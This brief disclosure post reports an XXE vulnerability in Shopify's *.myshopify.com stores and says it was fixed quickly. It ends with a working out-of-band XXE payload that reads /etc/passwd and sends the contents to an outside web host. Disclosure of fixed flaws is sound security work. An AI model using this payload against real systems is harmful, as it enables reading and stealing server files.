Shopify suffered from an XXE attack within their online stores domain - *.myshopify.com They were extremely quick in confirming and fixing the issue (even though it was a Sunday). Full details with the usual screen shots can be found at http://www.securatary.com <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://www.securatary.com/x=%payload;">'> %param1; %external;